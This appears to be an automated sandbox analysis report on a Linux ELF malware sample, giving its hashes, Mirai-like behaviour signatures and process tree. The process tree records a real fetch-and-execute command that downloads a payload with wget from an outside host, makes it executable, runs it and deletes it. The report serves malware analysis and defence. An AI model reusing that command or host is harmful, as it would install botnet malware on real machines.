Overview

overview

10

Static

static

10

37b552e102...39.elf

ubuntu-20.04-amd64

7

Analysis

  • max time kernel
    147s
  • max time network
    142s
  • platform
    ubuntu-20.04_amd64
  • resource
    ubuntu2004-amd64-20240221-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2004-amd64-20240221-enkernel:5.4.0-169-genericlocale:en-usos:ubuntu-20.04-amd64system
  • submitted
    23-02-2024 05:02

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    37b552e1027ecf2bdec32cf8c538baa058928b560dd225611a4ea5deb16cb739.elf

  • Size

    97KB

  • MD5

    6d658881294fbbcb36dee0f4bc05c98a

  • SHA1

    b772975381cb0c2b5897eac6eb1d94049719b708

  • SHA256

    37b552e1027ecf2bdec32cf8c538baa058928b560dd225611a4ea5deb16cb739

  • SHA512

    4f316659a7cf125852a94a61a824f819d29a8d913d656c325152588b7d0c6a3c9ba89ca069e3dd22c3d0656e345530ea1789e9cb96f5ed65ece41719fa4bcd48

  • SSDEEP

    3072:gjtwgA6UlYzZveohR9kIEpfdGZmmFVcqq0G27ZT:gjhzt3mIEpfAmmFVcqq0G27ZT

Score
7/10

Malware Config

Signatures

  • Changes its process name 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Modifies Watchdog functionality 1 TTPs 2 IoCs

    Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

  • Reads system routing table 1 TTPs 1 IoCs

    Gets active network interfaces from /proc virtual filesystem.

  • Reads system network configuration 1 TTPs 1 IoCs

    Uses contents of /proc filesystem to enumerate network settings.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/37b552e1027ecf2bdec32cf8c538baa058928b560dd225611a4ea5deb16cb739.elf
    /tmp/37b552e1027ecf2bdec32cf8c538baa058928b560dd225611a4ea5deb16cb739.elf
    1⤵
    • Changes its process name
    • Reads system routing table
    • Reads system network configuration
    PID:1469
    • /bin/sh
      /bin/sh -c "wget -q http://gay.energy/.../vivid -O .....;chmod 777 .....;./.....;rm -rf ....."
      2⤵
        PID:1470
        • /usr/bin/wget
          wget -q http://gay.energy/.../vivid -O .....
          3⤵
          • Writes file to tmp directory
          PID:1475
        • /usr/bin/chmod
          chmod 777 .....
          3⤵
            PID:1485
          • /tmp/.....
            ./.....
            3⤵
            • Executes dropped EXE
            PID:1486
          • /bin/sh
            /bin/sh ./.....
            3⤵
              PID:1486
            • /usr/bin/rm
              rm -rf .....
              3⤵
                PID:1488

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

          Loading Replay Monitor...

          Downloads